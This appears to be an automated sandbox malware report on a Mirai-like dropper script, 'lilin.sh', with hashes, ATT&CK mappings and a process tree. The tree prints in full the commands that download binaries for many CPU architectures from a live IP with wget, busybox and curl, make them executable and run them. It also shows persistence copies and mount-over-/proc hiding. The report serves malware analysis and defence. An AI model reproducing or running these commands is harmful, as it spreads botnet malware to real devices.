90e2b0b4e29cf7906f43e7eb275e4b03a44dc060821b873fc507ca9292c9cc5f

Analysis

max time kernel
149s
max time network
152s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
22/08/2026, 02:04

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
lilin.sh
Size 2KB
Sample260822-che7lsvsft
SHA256 90e2b0b4e29cf7906f43e7eb275e4b03a44dc060821b873fc507ca9292c9cc5f
MD5 444465a3e2a2e6441cc6afc2ce69dc5a
SHA1 9ca86d429c9a738c19a3e11f33adffb021fe71b8
SHA512 02f252580cf07885350cd8e01befa8772c90d9373254e40c9d58b56cbeaac664f26fba52c93d815ae8afa16fad9372e8c1b4f3958d61229ca1864784e229c403
TLSH
T162512CEE31F46EA1C2819E1C327F9E8C7461CDA236814BB9D54F7436D58ECA0B536E48
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery persistence

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 45 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
968	chmod
887	chmod
895	chmod
899	chmod
907	chmod
939	chmod
943	chmod
868	chmod
879	chmod
903	chmod
739	chmod
789	chmod
804	chmod
813	chmod
847	sh
864	chmod
875	chmod
921	chmod
743	chmod
800	chmod
845	chmod
914	chmod
925	chmod
951	chmod
955	chmod
963	chmod
891	chmod
917	chmod
935	chmod
947	chmod
969	sh
973	chmod
980	chmod
834	chmod
848	chmod
912	chmod
959	chmod
883	chmod
911	sh
913	sh
844	sh
967	sh
970	chmod
984	chmod
767	chmod

Executes dropped EXE 3 IoCs

ioc	pid	Process
/tmp/m.armv4l	740	lilin.sh
/tmp/m.armv4l	880	lilin.sh
/tmp/m.armv4l	936	lilin.sh

Modifies Watchdog functionality 1 TTPs 6 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/misc/watchdog	m.mips
File opened for modification	/dev/watchdog	m.mips
File opened for modification	/dev/misc/watchdog	m.mips
File opened for modification	/dev/watchdog	m.mips
File opened for modification	/dev/misc/watchdog	m.mips
File opened for modification	/dev/watchdog	m.mips

Enumerates running processes
Discovers information about currently running processes on the system

Write file to user bin folder 1 IoCs

persistence

description	ioc	Process
File opened for modification	/usr/local/bin/.cling	cp

Changes its process name 6 IoCs

description	pid	Process
Changes the process name, possibly in an attempt to hide itself	836	m.mips
Changes the process name, possibly in an attempt to hide itself	872	m.mips
Changes the process name, possibly in an attempt to hide itself	909	m.mips
Changes the process name, possibly in an attempt to hide itself	929	m.mips
Changes the process name, possibly in an attempt to hide itself	965	m.mips
Changes the process name, possibly in an attempt to hide itself	977	m.mips

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/37/cmdline	m.mips
File opened for reading	/proc/707/cmdline	m.mips
File opened for reading	/proc/7/cmdline	m.mips
File opened for reading	/proc/711/cmdline	m.mips
File opened for reading	/proc/7/cmdline	m.mips
File opened for reading	/proc/11/cmdline	m.mips
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/24/cmdline	m.mips
File opened for reading	/proc/13/cmdline	m.mips
File opened for reading	/proc/15/cmdline	m.mips
File opened for reading	/proc/69/cmdline	m.mips
File opened for reading	/proc/781/cmdline	m.mips
File opened for reading	/proc/122/cmdline	m.mips
File opened for reading	/proc/8/cmdline	m.mips
File opened for reading	/proc/81/cmdline	m.mips
File opened for reading	/proc/326/cmdline	m.mips
File opened for reading	/proc/430/cmdline	m.mips
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/1/statm	cp
File opened for reading	/proc/76/cmdline	m.mips
File opened for reading	/proc/709/cmdline	m.mips
File opened for reading	/proc/4/cmdline	m.mips
File opened for reading	/proc/81/cmdline	m.mips
File opened for reading	/proc/160/cmdline	m.mips
File opened for reading	/proc/676/cmdline	m.mips
File opened for reading	/proc/909/cmdline	m.mips
File opened for reading	/proc/122/cmdline	m.mips
File opened for reading	/proc/379/cmdline	m.mips
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/77/cmdline	m.mips
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/82/cmdline	m.mips
File opened for reading	/proc/112/cmdline	m.mips
File opened for reading	/proc/16/cmdline	m.mips
File opened for reading	/proc/319/cmdline	m.mips
File opened for reading	/proc/filesystems	mount
File opened for reading	/proc/2/cmdline	m.mips
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/233/cmdline	m.mips
File opened for reading	/proc/74/cmdline	m.mips
File opened for reading	/proc/711/cmdline	m.mips
File opened for reading	/proc/716/cmdline	m.mips
File opened for reading	/proc/22/cmdline	m.mips
File opened for reading	/proc/36/cmdline	m.mips
File opened for reading	/proc/321/cmdline	m.mips
File opened for reading	/proc/673/cmdline	m.mips
File opened for reading	/proc/22/cmdline	m.mips
File opened for reading	/proc/78/cmdline	m.mips
File opened for reading	/proc/2/cmdline	m.mips
File opened for reading	/proc/430/cmdline	m.mips
File opened for reading	/proc/872/cmdline	m.mips
File opened for reading	/proc/966/cmdline	m.mips
File opened for reading	/proc/69/cmdline	m.mips
File opened for reading	/proc/70/cmdline	m.mips
File opened for reading	/proc/20/cmdline	m.mips
File opened for reading	/proc/176/cmdline	m.mips
File opened for reading	/proc/15/cmdline	m.mips
File opened for reading	/proc/72/cmdline	m.mips
File opened for reading	/proc/7/cmdline	m.mips
File opened for reading	/proc/9/cmdline	m.mips
File opened for reading	/proc/666/cmdline	m.mips
File opened for reading	/proc/377/cmdline	m.mips
File opened for reading	/proc/673/cmdline	m.mips
File opened for reading	/proc/676/cmdline	m.mips

System Network Configuration Discovery 1 TTPs 16 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
835	m.mips
837	wget
839	cp
964	m.mips
908	m.mips
910	busybox
974	m.mipsel
843	cp
906	busybox
918	m.mipsel
962	curl
817	wget
838	sh
842	sh
865	m.mipsel
966	curl

Writes file to tmp directory 37 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/m.armv4l	curl
File opened for modification	/tmp/m.i486	wget
File opened for modification	/tmp/m.mips	wget
File opened for modification	/tmp/m.i686	busybox
File opened for modification	/tmp/m.powerpc	busybox
File opened for modification	/tmp/m.powerpc	wget
File opened for modification	/tmp/m.armv7l	wget
File opened for modification	/tmp/m.x86_64	wget
File opened for modification	/tmp/m.armv7l	busybox
File opened for modification	/tmp/m.x86_64	busybox
File opened for modification	/tmp/m.armv5l	curl
File opened for modification	/tmp/m.i686	curl
File opened for modification	/tmp/m.i586	curl
File opened for modification	/tmp/m.mipsel	curl
File opened for modification	/tmp/m.armv5l	wget
File opened for modification	/tmp/statm	cp
File opened for modification	/tmp/m.armv6l	busybox
File opened for modification	/tmp/m.i686	wget
File opened for modification	/tmp/cmdline	cp
File opened for modification	/tmp/m.i486	busybox
File opened for modification	/tmp/m.mipsel	busybox
File opened for modification	/tmp/m.armv7l	curl
File opened for modification	/tmp/m.armv4l	wget
File opened for modification	/tmp/m.i586	wget
File opened for modification	/tmp/m.mipsel	wget
File opened for modification	/tmp/m.armv4l	busybox
File opened for modification	/tmp/m.armv6l	curl
File opened for modification	/tmp/m.mips	curl
File opened for modification	/tmp/m.powerpc	curl
File opened for modification	/tmp/m.x86_64	curl
File opened for modification	/tmp/stat	cp
File opened for modification	/tmp/status	cp
File opened for modification	/tmp/m.i586	busybox
File opened for modification	/tmp/m.mips	busybox
File opened for modification	/tmp/m.armv6l	wget
File opened for modification	/tmp/m.armv5l	busybox
File opened for modification	/tmp/m.i486	curl

/tmp/lilin.sh
/tmp/lilin.sh
1⤵
- Executes dropped EXE
PID:711
- /usr/bin/wget
  wget http://222.223.152.97:800/m.armv4l
  2⤵
  - Writes file to tmp directory
  PID:714
- /bin/chmod
  chmod 777 m.armv4l
  2⤵
  - File and Directory Permissions Modification
  PID:739
- /tmp/m.armv4l
  ./m.armv4l lilin
  2⤵
  PID:740
- /usr/bin/wget
  wget http://222.223.152.97:800/m.armv5l
  2⤵
  - Writes file to tmp directory
  PID:742
- /bin/chmod
  chmod 777 m.armv5l
  2⤵
  - File and Directory Permissions Modification
  PID:743
- /tmp/m.armv5l
  ./m.armv5l lilin
  2⤵
  PID:744
- /usr/bin/wget
  wget http://222.223.152.97:800/m.armv6l
  2⤵
  - Writes file to tmp directory
  PID:746
- /bin/chmod
  chmod 777 m.armv6l
  2⤵
  - File and Directory Permissions Modification
  PID:767
- /tmp/m.armv6l
  ./m.armv6l lilin
  2⤵
  PID:769
- /usr/bin/wget
  wget http://222.223.152.97:800/m.armv7l
  2⤵
  - Writes file to tmp directory
  PID:772
- /bin/chmod
  chmod 777 m.armv7l
  2⤵
  - File and Directory Permissions Modification
  PID:789
- /tmp/m.armv7l
  ./m.armv7l lilin
  2⤵
  PID:790
- /usr/bin/wget
  wget http://222.223.152.97:800/m.i486
  2⤵
  - Writes file to tmp directory
  PID:793
- /bin/chmod
  chmod 777 m.i486
  2⤵
  - File and Directory Permissions Modification
  PID:800
- /tmp/m.i486
  ./m.i486 lilin
  2⤵
  PID:801
- /usr/bin/wget
  wget http://222.223.152.97:800/m.i686
  2⤵
  - Writes file to tmp directory
  PID:803
- /bin/chmod
  chmod 777 m.i686
  2⤵
  - File and Directory Permissions Modification
  PID:804
- /tmp/m.i686
  ./m.i686 lilin
  2⤵
  PID:805
- /usr/bin/wget
  wget http://222.223.152.97:800/m.i586
  2⤵
  - Writes file to tmp directory
  PID:807
- /bin/chmod
  chmod 777 m.i586
  2⤵
  - File and Directory Permissions Modification
  PID:813
- /tmp/m.i586
  ./m.i586 lilin
  2⤵
  PID:814
- /usr/bin/wget
  wget http://222.223.152.97:800/m.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:817
- /bin/chmod
  chmod 777 m.mips
  2⤵
  - File and Directory Permissions Modification
  PID:834
- /tmp/m.mips
  ./m.mips lilin
  2⤵
  - Modifies Watchdog functionality
  - Changes its process name
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:835
- - /bin/sh
    sh -c "cp /tmp/m.mips /root/.cling"
    3⤵
    - System Network Configuration Discovery
    PID:838
  - - /bin/cp
      cp /tmp/m.mips /root/.cling
      4⤵
      System Network Configuration Discovery
      PID:839
- - /bin/sh
    sh -c "cp /tmp/m.mips /usr/local/bin/.cling"
    3⤵
    - System Network Configuration Discovery
    PID:842
  - - /bin/cp
      cp /tmp/m.mips /usr/local/bin/.cling
      4⤵
      Write file to user bin folder
      Reads runtime system information
      System Network Configuration Discovery
      PID:843
- - /bin/sh
    sh -c "chmod +x /root/.cling"
    3⤵
    - File and Directory Permissions Modification
    PID:844
  - - /bin/chmod
      chmod +x /root/.cling
      4⤵
      File and Directory Permissions Modification
      PID:845
- - /bin/sh
    sh -c "chmod +x /usr/local/bin/.cling"
    3⤵
    - File and Directory Permissions Modification
    PID:847
  - - /bin/chmod
      chmod +x /usr/local/bin/.cling
      4⤵
      File and Directory Permissions Modification
      PID:848
- - /bin/sh
    sh -c "cp /proc/1/stat /tmp/stat"
    3⤵
    PID:850
  - - /bin/cp
      cp /proc/1/stat /tmp/stat
      4⤵
      Writes file to tmp directory
      PID:851
- - /bin/sh
    sh -c "cp /proc/1/status /tmp/status"
    3⤵
    PID:852
  - - /bin/cp
      cp /proc/1/status /tmp/status
      4⤵
      Reads runtime system information
      Writes file to tmp directory
      PID:853
- - /bin/sh
    sh -c "cp /proc/1/cmdline /tmp/cmdline"
    3⤵
    PID:855
  - - /bin/cp
      cp /proc/1/cmdline /tmp/cmdline
      4⤵
      Writes file to tmp directory
      PID:857
- - /bin/sh
    sh -c "cp /proc/1/statm /tmp/statm"
    3⤵
    PID:858
  - - /bin/cp
      cp /proc/1/statm /tmp/statm
      4⤵
      Reads runtime system information
      Writes file to tmp directory
      PID:859
- - /bin/sh
    sh -c "mount --bind /tmp /proc/836"
    3⤵
    PID:860
  - - /bin/mount
      mount --bind /tmp /proc/836
      4⤵
      PID:862
- - /bin/sh
    sh -c "mount --bind /tmp /proc/872"
    3⤵
    PID:873
  - - /bin/mount
      mount --bind /tmp /proc/872
      4⤵
      PID:874
- /usr/bin/wget
  wget http://222.223.152.97:800/m.mipsel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:837
- /bin/chmod
  chmod 777 m.mipsel
  2⤵
  - File and Directory Permissions Modification
  PID:864
- /tmp/m.mipsel
  ./m.mipsel lilin
  2⤵
  - System Network Configuration Discovery
  PID:865
- /usr/bin/wget
  wget http://222.223.152.97:800/m.powerpc
  2⤵
  - Writes file to tmp directory
  PID:867
- /bin/chmod
  chmod 777 m.powerpc
  2⤵
  - File and Directory Permissions Modification
  PID:868
- /tmp/m.powerpc
  ./m.powerpc lilin
  2⤵
  PID:869
- /usr/bin/wget
  wget http://222.223.152.97:800/m.x86_64
  2⤵
  - Writes file to tmp directory
  PID:871
- /bin/chmod
  chmod 777 m.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:875
- /tmp/m.x86_64
  ./m.x86_64 lilin
  2⤵
  PID:876
- /bin/busybox
  busybox wget http://222.223.152.97:800/m.armv4l
  2⤵
  - Writes file to tmp directory
  PID:878
- /bin/chmod
  chmod 777 m.armv4l
  2⤵
  - File and Directory Permissions Modification
  PID:879
- /tmp/m.armv4l
  ./m.armv4l lilin
  2⤵
  PID:880
- /bin/busybox
  busybox wget http://222.223.152.97:800/m.armv5l
  2⤵
  - Writes file to tmp directory
  PID:882
- /bin/chmod
  chmod 777 m.armv5l
  2⤵
  - File and Directory Permissions Modification
  PID:883
- /tmp/m.armv5l
  ./m.armv5l lilin
  2⤵
  PID:884
- /bin/busybox
  busybox wget http://222.223.152.97:800/m.armv6l
  2⤵
  - Writes file to tmp directory
  PID:886
- /bin/chmod
  chmod 777 m.armv6l
  2⤵
  - File and Directory Permissions Modification
  PID:887
- /tmp/m.armv6l
  ./m.armv6l lilin
  2⤵
  PID:888
- /bin/busybox
  busybox wget http://222.223.152.97:800/m.armv7l
  2⤵
  - Writes file to tmp directory
  PID:890
- /bin/chmod
  chmod 777 m.armv7l
  2⤵
  - File and Directory Permissions Modification
  PID:891
- /tmp/m.armv7l
  ./m.armv7l lilin
  2⤵
  PID:892
- /bin/busybox
  busybox wget http://222.223.152.97:800/m.i486
  2⤵
  - Writes file to tmp directory
  PID:894
- /bin/chmod
  chmod 777 m.i486
  2⤵
  - File and Directory Permissions Modification
  PID:895
- /tmp/m.i486
  ./m.i486 lilin
  2⤵
  PID:896
- /bin/busybox
  busybox wget http://222.223.152.97:800/m.i686
  2⤵
  - Writes file to tmp directory
  PID:898
- /bin/chmod
  chmod 777 m.i686
  2⤵
  - File and Directory Permissions Modification
  PID:899
- /tmp/m.i686
  ./m.i686 lilin
  2⤵
  PID:900
- /bin/busybox
  busybox wget http://222.223.152.97:800/m.i586
  2⤵
  - Writes file to tmp directory
  PID:902
- /bin/chmod
  chmod 777 m.i586
  2⤵
  - File and Directory Permissions Modification
  PID:903
- /tmp/m.i586
  ./m.i586 lilin
  2⤵
  PID:904
- /bin/busybox
  busybox wget http://222.223.152.97:800/m.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:906
- /bin/chmod
  chmod 777 m.mips
  2⤵
  - File and Directory Permissions Modification
  PID:907
- /tmp/m.mips
  ./m.mips lilin
  2⤵
  - Modifies Watchdog functionality
  - Changes its process name
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:908
- - /bin/sh
    sh -c "chmod +x /root/.cling"
    3⤵
    - File and Directory Permissions Modification
    PID:911
  - - /bin/chmod
      chmod +x /root/.cling
      4⤵
      File and Directory Permissions Modification
      PID:912
- - /bin/sh
    sh -c "chmod +x /usr/local/bin/.cling"
    3⤵
    - File and Directory Permissions Modification
    PID:913
  - - /bin/chmod
      chmod +x /usr/local/bin/.cling
      4⤵
      File and Directory Permissions Modification
      PID:914
- - /bin/sh
    sh -c "mount --bind /tmp /proc/909"
    3⤵
    PID:915
  - - /bin/mount
      mount --bind /tmp /proc/909
      4⤵
      Reads runtime system information
      PID:916
- - /bin/sh
    sh -c "mount --bind /tmp /proc/929"
    3⤵
    PID:930
  - - /bin/mount
      mount --bind /tmp /proc/929
      4⤵
      PID:934
- /bin/busybox
  busybox wget http://222.223.152.97:800/m.mipsel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:910
- /bin/chmod
  chmod 777 m.mipsel
  2⤵
  - File and Directory Permissions Modification
  PID:917
- /tmp/m.mipsel
  ./m.mipsel lilin
  2⤵
  - System Network Configuration Discovery
  PID:918
- /bin/busybox
  busybox wget http://222.223.152.97:800/m.powerpc
  2⤵
  - Writes file to tmp directory
  PID:920
- /bin/chmod
  chmod 777 m.powerpc
  2⤵
  - File and Directory Permissions Modification
  PID:921
- /tmp/m.powerpc
  ./m.powerpc lilin
  2⤵
  PID:922
- /bin/busybox
  busybox wget http://222.223.152.97:800/m.x86_64
  2⤵
  - Writes file to tmp directory
  PID:924
- /bin/chmod
  chmod 777 m.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:925
- /tmp/m.x86_64
  ./m.x86_64 lilin
  2⤵
  PID:926
- /usr/bin/curl
  curl -O http://222.223.152.97:800/m.armv4l
  2⤵
  - Writes file to tmp directory
  PID:928
- /bin/chmod
  chmod 777 m.armv4l
  2⤵
  - File and Directory Permissions Modification
  PID:935
- /tmp/m.armv4l
  ./m.armv4l lilin
  2⤵
  PID:936
- /usr/bin/curl
  curl -O http://222.223.152.97:800/m.armv5l
  2⤵
  - Writes file to tmp directory
  PID:938
- /bin/chmod
  chmod 777 m.armv5l
  2⤵
  - File and Directory Permissions Modification
  PID:939
- /tmp/m.armv5l
  ./m.armv5l lilin
  2⤵
  PID:940
- /usr/bin/curl
  curl -O http://222.223.152.97:800/m.armv6l
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:942
- /bin/chmod
  chmod 777 m.armv6l
  2⤵
  - File and Directory Permissions Modification
  PID:943
- /tmp/m.armv6l
  ./m.armv6l lilin
  2⤵
  PID:944
- /usr/bin/curl
  curl -O http://222.223.152.97:800/m.armv7l
  2⤵
  - Writes file to tmp directory
  PID:946
- /bin/chmod
  chmod 777 m.armv7l
  2⤵
  - File and Directory Permissions Modification
  PID:947
- /tmp/m.armv7l
  ./m.armv7l lilin
  2⤵
  PID:948
- /usr/bin/curl
  curl -O http://222.223.152.97:800/m.i486
  2⤵
  - Writes file to tmp directory
  PID:950
- /bin/chmod
  chmod 777 m.i486
  2⤵
  - File and Directory Permissions Modification
  PID:951
- /tmp/m.i486
  ./m.i486 lilin
  2⤵
  PID:952
- /usr/bin/curl
  curl -O http://222.223.152.97:800/m.i686
  2⤵
  - Writes file to tmp directory
  PID:954
- /bin/chmod
  chmod 777 m.i686
  2⤵
  - File and Directory Permissions Modification
  PID:955
- /tmp/m.i686
  ./m.i686 lilin
  2⤵
  PID:956
- /usr/bin/curl
  curl -O http://222.223.152.97:800/m.i586
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:958
- /bin/chmod
  chmod 777 m.i586
  2⤵
  - File and Directory Permissions Modification
  PID:959
- /tmp/m.i586
  ./m.i586 lilin
  2⤵
  PID:960
- /usr/bin/curl
  curl -O http://222.223.152.97:800/m.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:962
- /bin/chmod
  chmod 777 m.mips
  2⤵
  - File and Directory Permissions Modification
  PID:963
- /tmp/m.mips
  ./m.mips lilin
  2⤵
  - Modifies Watchdog functionality
  - Changes its process name
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:964
- - /bin/sh
    sh -c "chmod +x /root/.cling"
    3⤵
    - File and Directory Permissions Modification
    PID:967
  - - /bin/chmod
      chmod +x /root/.cling
      4⤵
      File and Directory Permissions Modification
      PID:968
- - /bin/sh
    sh -c "chmod +x /usr/local/bin/.cling"
    3⤵
    - File and Directory Permissions Modification
    PID:969
  - - /bin/chmod
      chmod +x /usr/local/bin/.cling
      4⤵
      File and Directory Permissions Modification
      PID:970
- - /bin/sh
    sh -c "mount --bind /tmp /proc/965"
    3⤵
    PID:971
  - - /bin/mount
      mount --bind /tmp /proc/965
      4⤵
      PID:972
- - /bin/sh
    sh -c "mount --bind /tmp /proc/977"
    3⤵
    PID:978
  - - /bin/mount
      mount --bind /tmp /proc/977
      4⤵
      PID:979
- /usr/bin/curl
  curl -O http://222.223.152.97:800/m.mipsel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:966
- /bin/chmod
  chmod 777 m.mipsel
  2⤵
  - File and Directory Permissions Modification
  PID:973
- /tmp/m.mipsel
  ./m.mipsel lilin
  2⤵
  - System Network Configuration Discovery
  PID:974
- /usr/bin/curl
  curl -O http://222.223.152.97:800/m.powerpc
  2⤵
  - Writes file to tmp directory
  PID:976
- /bin/chmod
  chmod 777 m.powerpc
  2⤵
  - File and Directory Permissions Modification
  PID:980
- /tmp/m.powerpc
  ./m.powerpc lilin
  2⤵
  PID:981
- /usr/bin/curl
  curl -O http://222.223.152.97:800/m.x86_64
  2⤵
  - Writes file to tmp directory
  PID:983
- /bin/chmod
  chmod 777 m.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:984
- /tmp/m.x86_64
  ./m.x86_64 lilin
  2⤵
  PID:985

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

.cling

Path /root/.cling
Size 69KB
SHA256 10d83c1748895361e07320f68d44d427b43cadd2cbffe0ab5e607ab03aec83da
MD5 5f8cf9aebdcffdc024465a8fcc6e1458
SHA1 228ee086f6f390b02f72ecdb69bae54cecf666ae
SHA512 778812dd8326724b8abb8bf837dbf34a155ef9e129fd19ba2d36f92c336c705436fdd6e945c845a733490d3fc4f13a2aeb92189fddf35fdcf9d20cd4ec1428cf
SSDEEP 1536:RTqIagNRSs5Y9TG+0S51+jGg9NIPBkh5SQUvrl:RTqE5Y97UjpIPBkh5+jl
TLSH
T1AB63184773108F51D67A823009F38766ABBA26D616E29146F36CDD007A7275CAC2FFE4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cmdline

Path /tmp/cmdline
Size 11B
SHA256 6628c1ade33319fc12730a87856ccdb1e4eaed9a0aa2b0bce0535a97a232f272
MD5 88af90d1f18b944c6d2365f389b9bfe5
SHA1 9cb724a1fb906a66b81d24a84257e3cf69b69214
SHA512 254c37d06ebbff6b4e7c1ee2e354e142e7c8fc26c8b396712b875979de4234bc121225e765eb65d3008fa159488b245c0e30d613a9f99c90519f1b1b184178d4
MD5 SHA1 SHA512

Submit Download

m.armv4l

Path /tmp/m.armv4l
Size 49KB
SHA256 c0d8ffebfba969b1c1ca76bd9623bb623e9f95155c8ceca77d8fcc521435a497
MD5 2e137a9159866bc875aaba0a338a86fd
SHA1 a2821814bdcf85147839dc562214fed3bb3d4399
SHA512 60c08ca6c611af8accd8bb970fa5abfe10010a5759991fad0abccacc63c5f6814eff2ade8026edf81b2d9cfcdd2d86f876a8486ed2284d77094268cca2f5bf86
SSDEEP 1536:1cYWXIVwNadGOxDp36CX5M2o+Ona2T3yOORBcIr:1cLXIV7Fp3jXRoUx9BN
TLSH
T1F7330868F880DB22C6D1157AFA5E528C73530F78D2D973029E14AE346BFBA570F3A941
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

stat

Path /tmp/stat
Size 262B
SHA256 760fd8cf5e249b727bfda531aed4cbdf271c611cb893eb1f5f5d9985376170e5
MD5 5032843332cccd835302743e58a2ba5c
SHA1 947709d1046c0dc95508fcdd8f05f22d591cdef8
SHA512 e1d672936b3a098552f9ea16751d275180c949e75477bf77f5401df332d4cebfecb3c46d960639846642aacea23b104e2f382ed016dec3fc76203d7db4fa6cee
TLSH
T1F6D02B24D40C04EC9D23D65C360396DA771CF029342C042D444CE4B2018FF00CC134C4
MD5 SHA1 SHA512 TLSH

Submit Download

statm

Path /tmp/statm
Size 26B
SHA256 20e5f741b45641bcd3d9ac5114d66d5acc276ac403be9fb581e64c6904c14328
MD5 9f0e23e44b6432adc08a13f287e9e9ec
SHA1 74c90910e927991a0cf3a4f91bcd8f6c6fa4d9b8
SHA512 ac1355b8d03218dc89c1c16154bd634e27f6e898f914185e26d6c8d0b35d758b94b4c4873168e4ab90225fbab154ac9e3a362c86c6793078c8f78e8bb6ac96a1
MD5 SHA1 SHA512

Submit Download

status

Path /tmp/status
Size 1KB
SHA256 b00a2eb19f94b3a46960c6986c1247912303c5680bbc94dbae23d0ed7dd159e3
MD5 cfb710cd9d52c6abfb8425e6914a78da
SHA1 46aa554741fa21f4b37d2f08c4c8d3b408c6a6d7
SHA512 490233ae19d9373e5b214c87b7920717ffe578f15b14cb88f98a120bc9859695ce9ff1fa782e0ab9911a9e56f42da3d7f37273508858df44695eb0edba296b44
TLSH
T11E1125168FE7AC98CABE8348147AF40560B0F21A68D16131344EC87CFB3729FA7989D4
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads